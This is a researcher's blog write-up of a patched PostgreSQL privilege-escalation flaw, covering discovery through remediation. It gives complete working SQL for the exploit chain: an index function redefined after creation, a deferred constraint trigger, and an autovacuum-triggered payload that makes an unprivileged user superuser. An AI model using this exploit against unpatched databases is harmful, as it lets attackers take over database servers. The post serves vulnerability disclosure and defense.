It has been quite a year, I hope everyone is well and staying safe. This is my first and probably only post for the year, and covers a fun privilege escalation vulnerability I found in Postgresql. This affects all supported versions of Postgresql going back to 9.5, it is likely it affects most earlier versions as well.
The vulnerability is similar to a time-of-check to time-of-use (TOCTOU) issue, however in this case it relates to state not being fully cleared/reset before exiting a security restricted operation.
- 13.0 – PostgreSQL 13.0 (Debian 13.0-1.pgdg100+1)
- 12.4 – PostgreSQL 12.4 (Debian 12.4-1.pgdg100+1)
- 12.3 – PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1)
- 11.9 – PostgreSQL 11.9 (Debian 11.9-1.pgdg90+1)
Release notes and updates: https://www.postgresql.org/
I set out with the goal of finding a vulnerability which would allow an unprivileged user to elevate their privileges to that of
There are some legitimate ways to provide users with elevated persmissions in Postgresql, without giving those users full
superuser rights. This is typically done using
SECURITY DEFINER functions.
When misconfigured, a badly written
SECURITY DEFINER function and controllable
search_path can be used to elevate privileges (Cybertec Blog).
This functionality is explicitely called out in the Postgresql documentation in how to safely write security definer functions.
Because a SECURITY DEFINER function is executed with the privileges of the user that owns it, care is needed to ensure that the function cannot be misused.
Even though this is legitimate functionality, it still provided a good starting point, as it gave me an idea of where I should looking in the source code. Maybe there would be a way to use
SECURITY DEFINER in another context.
I started off by looking into security definer functions and other locations where Postgresql switches user permissions, I noticed mention of
security-restricted operations. This immediately triggered that spidey sense that there might be something to find in these. Out came grep and a search for locations where
security-restricted operations are mentioned.
Two places where this term occurs are
ANALYZE directive) and
VACUUM directive), with the same code comment in both:
/* * Switch to the table owner's userid, so that any index functions are run * as that user. Also lock down security-restricted operations and * arrange to make GUC variable changes local to this command. */
This leads into the next section;
Indexes and Functions
This seemed interesting, I didn’t know that an index could run functions. Now it was time to first figure out how to make indexes run user functions.
Turns out this is pretty easy to do, the documentation has a bunch of examples of indexes calling functions (even if these aren’t user defined, it shows the syntax on how to structure the sql query.)
CREATE INDEX ON films ((lower(title)));
In this, an index is created on the
films table, using the
title column, cast to lowercase using the
lower function. It should be pretty straight forward to simply supply a user created function instead of
I’m skipping a few debugging steps I had to go through, but it boiled down to reading the error messages thrown when trying to use the function. The main thing to note at this point is that an
INDEX requires an
IMMUTABLE function, meaning the function will always return the same result for a given input. This makes sense, an
INDEX is trying to optimise on uniqueness.
CREATE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql IMMUTABLE AS 'SELECT $1';
And now create a table, and an index on that table:
CREATE TABLE blah (a int, b int); INSERT INTO blah VALUES (1,1); CREATE INDEX indy ON blah (sfunc(a));
This isn’t really helpful, I wanted a function that does something more useful, like inserting values into another table. The reason being that I wanted to retrieve the user which was executing to index function. The train of thought I had at this point was:
create index as unpriv --> privileged user executes ANALYZE/VACUUM --> index function executes as privileged user
In this scenario I was planning on using
SECURITY INVOKER to trick Postgres into executing the function as the privileged user.
-- create the table to insert the user into CREATE TABLE t0 (s varchar); -- create the security invoker function CREATE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO t0 VALUES (current_user); SELECT $1';
As mentioned earlier, the index requires an
IMMUTABLE function. So trying to use the function in an index, would throw an error:
tmp=# CREATE INDEX indy ON blah (sfunc(a)); ERROR: functions in index expression must be marked IMMUTABLE
This seemed like a dead-end. Then it occurred to me that functions can be recreated/redefined. As long as you use
CREATE OR REPLACE FUNCTION, any existing function will be overridden. Maybe the
INDEX doesn’t check if an assigned function has become mutable since it was initially defined (spoiler, it doesn’t!).
CREATE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql IMMUTABLE AS 'SELECT $1'; CREATE INDEX indy ON blah (sfunc(a)); CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO t0 VALUES (current_user); SELECT $1';
Now when the index is run the
current_user will be inserted into table
t0. To check this, I switched to a privileged user (postgres) and executed the
tmp=# SELECT * FROM t0; s --- (0 rows) tmp=# ANALYZE; ANALYZE tmp=# SELECT * FROM t0; s ----- foo (1 row) tmp=#
The triggering of the function worked, but we inserted the user
foo instead of
postgres. This means the
SECURITY INVOKER didn’t have an effect. Looking back at the source-code comment from earlier, we can recall that a switch is done to the owner’s uid in security-restricted functions. Yay, we proven that this functionality works, sure we found a nice bypass for the
IMMUTABLE check, but this isn’t really a security or world ender.
I’ll get to it later - deferred
Diving back into the source-code, I had a look at how the security-restricted operation was entered, and subsequently exited.
vacuum.c file, there were some interesting comments. Maybe you can spot the bit that caught my eye immediately.
/* * Switch to the table owner's userid, so that any index functions are run * as that user. Also lock down security-restricted operations and * arrange to make GUC variable changes local to this command. (This is * unnecessary, but harmless, for lazy VACUUM.) */ GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); save_nestlevel = NewGUCNestLevel(); // DO LOTS OF WORK // <--- SNIP ---> /* Restore userid and security context */ SetUserIdAndSecContext(save_userid, save_sec_context); /* all done with this class, but hold lock until commit */ if (onerel) relation_close(onerel, NoLock); /* * Complete the transaction and free all temporary memory used. */ PopActiveSnapshot(); CommitTransactionCommand();
See that last comment and function calls? The
CommitTransactionCommand() is executed after the
SetUserAndSecContext, which resets the context userid to that of the executing user. In SQL you have transactions and a transaction isn’t final until the commit happens. This gives you room to execute some SQL, have part of it fail and then seamlessly rollback any changes to the state before the transaction was entered. The fact that in this code the user is restored before the transaction is committed made me wonder if it would be possible to sneak in some additional commands to execute before the commit is done.
Next ensued a long time of reading documentation and looking for ways to delay execution of SQL commands. I finally happened on
INITIALLY DEFERRED, which held the key to unlocking this puzzle. This was part of the documentation for TRIGGERS which further set the spidey senses tingling.
INITIALLY DEFERRED The default timing of the trigger. See the CREATE TABLE documentation for details of these constraint options. This can only be specified for constraint triggers.
Going into the
CREATE TABLE reference you find:
If a constraint is deferrable, this clause specifies the default time to check the constraint. If the constraint is INITIALLY IMMEDIATE, it is checked after each statement. This is the default. If the constraint is INITIALLY DEFERRED, it is checked only at the end of the transaction. The constraint check time can be altered with the SET CONSTRAINTS command.
That sounds exactly like what we want! An initially deferred constraint is only checked at the “end of the transaction”. This indicated that it would happen just before the
commit but after the security context switch.
The next trick was to figure out how to use the constraint trigger and where this should be placed so that it triggers at the right moment.
CONSTRAINT TRIGGER needs a function to execute. This will be our “final” step, and should thus be executing in the privileged user context. Therefore we should insert our privileged actions into this function. The other trick is that the
CONSTRAINT TRIGGER needs to be triggered somehow. Fortunately we’ve already got the initial bits ready. Since the index calls our custom function, which inserts into table
t0, we have an action which will cause a constraint trigger to execute.
Index runs --> sfunc inserts into t0 --> constraint trigger fires --> strig function is executed
This leaves us with the following SQL:
CREATE TABLE t1 (s varchar); -- create a function for inserting current user into another table CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO t1 VALUES (current_user); SELECT $1'; -- create a trigger function which will call the second function for inserting current user into table t1 CREATE OR REPLACE FUNCTION strig() RETURNS trigger AS $e$ BEGIN PERFORM snfunc(1000); RETURN NEW; END $e$ LANGUAGE plpgsql; /* create a CONSTRAINT TRIGGER, which is deferred deferred causes it to trigger on commit, by which time the user has been switched back to the invoking user, rather than the owner */ CREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig();
We had to create a second insert function, otherwise we’d keep inserting into the initial table where we are inserting into as the unprivileged user. We also want this function to be the one that actually executes our privileged actions. This bit can be simplified down and everything done in the trigger function, however this is how my brain worked at the time and why mess with something that works?
A simple test here to see if the constraint trigger does actually execute when something is inserted into
t0 as the unprivileged owner:
tmp=> SELECT * FROM t0; s ----- foo (1 row) tmp=> SELECT * FROM t1; s --- (0 rows) tmp=> INSERT INTO t0 VALUES ('baz'); INSERT 0 1 tmp=> SELECT * FROM t1; s ----- foo (1 row)
current_user was inserted into table
t1. To prove this, switching to the privileged user (postgres) and inserting into
t0 should cause
postgres to appear in table
tmp=# INSERT INTO t0 VALUES ('bazfoo'); INSERT 0 1 tmp=# SELECT * FROM t1; s ---------- foo postgres (2 rows)
Awesome, now we can either trick the privileged user to insert into our table. Or better yet, test whether the
VACUUM functions now execute the final commands outside the security-restricted operation.
As the privileged user, simply execute
ANALYZE at this point:
tmp=# ANALYZE; ANALYZE tmp=# SELECT * FROM t1; s ---------- foo postgres postgres (3 rows)
And success! This means anytime a privileged user executes
VACUMM for that matter) there is the opportunity to execute commands as that user! Turns out
VACUUM are pretty common administrative actions that are often executed by a privileged user. Thus the chances of priv-esc should be pretty high.
At this point I had a privilege escalation but it still required some manual interaction. Fortunately, since the
VACUUM functions are commonly run, and often for that matter, Postgresql has functionality built in to run these periodically (needs to be enabled, disabled by default). Maybe it would be possible to trigger this issue directly with this
To force trigger
autovacuum into running, you can set some low thresholds, and the process will run after a few inserts and deletes:
ALTER TABLE blah SET (autovacuum_vacuum_threshold = 1); ALTER TABLE blah SET (autovacuum_analyze_threshold = 1);
Unfortunately this didn’t work! I almost left it at this point thinking that autovacuum was not vulnerable. Fortunately however I decided to try and figure out why it wasn’t “vulnerable”. All it took was a quick look at the logs to identify the problem:
tail -f /var/log/postgres/postgresql-12-main.log
2020-10-15 19:42:19.501 UTC  LOG: automatic vacuum of table "tmp.public.blah": index scans: 1 pages: 0 removed, 1 remain, 0 skipped due to pins, 0 skipped frozen tuples: 6 removed, 1 remain, 0 are dead but not yet removable, oldest xmin: 2618 buffer usage: 43 hits, 4 misses, 7 dirtied avg read rate: 53.879 MB/s, avg write rate: 94.289 MB/s system usage: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s 2020-10-15 19:42:19.531 UTC  ERROR: relation "t0" does not exist at character 13 2020-10-15 19:42:19.531 UTC  QUERY: INSERT INTO t0 VALUES (current_user); SELECT $1 2020-10-15 19:42:19.531 UTC  CONTEXT: SQL function "sfunc" during startup
The problem was clear, autovacuum runs in Postgres, but without a database and schema set. Thus when it tries to
INSERT INTO t0, it can’t find the table! All that was required was to tell autovacuum where to find the full relation by supplying the database and schema.
A simple change of:
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO t0 VALUES (current_user); SELECT $1';
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO tmp.public.t0 VALUES (current_user); SELECT $1';
Now when autovacuum runs it will trigger the vulnerability and execute as the bootstrap superuser (typically postgres).
Turning this into a full exploit, which will automatically elevate a user to
superuser was pretty straight forward at this point. There was one small catch, because the whole exploit chain is triggered when inserting into the base table, the transaction will fail at the point the exploit tries to elevate privileges (since it is still executing as unprivileged user, and not inside the autovacuum process yet). This necessitates a simple guard case to check if the exploit (elevate of privilege) should run, or if it should just continue setting up the exploit chain for autovacuum.
-- Low privileged function CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO tmp.public.t1 VALUES (current_user); SELECT $1'; -- High privileged function CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO tmp.public.t1 VALUES (current_user); ALTER USER foo SUPERUSER; SELECT $1'; -- updated trigger CREATE OR REPLACE FUNCTION strig() RETURNS trigger AS $e$ BEGIN IF current_user = 'postgres' THEN PERFORM tmp.public.snfunc2(1000); RETURN NEW; ELSE PERFORM tmp.public.snfunc(1000); RETURN NEW; END IF; END $e$ LANGUAGE plpgsql;
Now when autovacuum runs, the low privileged user will be elevated to superuser. Top frame shows the autovacuum log, bottom frame shows triggering autovacuum with INSERT/DELETE.
Remediation and Conclusion
Patches for all supported versions of Postgresql have been released. These are directly available from https://www.postgresql.org/ or should be available in package mirrors.
There are mitigations available in the case that patches can’t be applied. These do come with the caveat that performance could be significantly impacted.
While promptly updating PostgreSQL is the best remediation for most users, a user unable to do that can work around the vulnerability by disabling autovacuum and not manually running ANALYZE, CLUSTER, REINDEX, CREATE INDEX, VACUUM FULL, REFRESH MATERIALIZED VIEW, or a restore from output of the pg_dump command. Performance may degrade quickly under this workaround.
Full advisory as sent: https://gist.github.com/staaldraad/1325617885d42aa40777aa4774e91214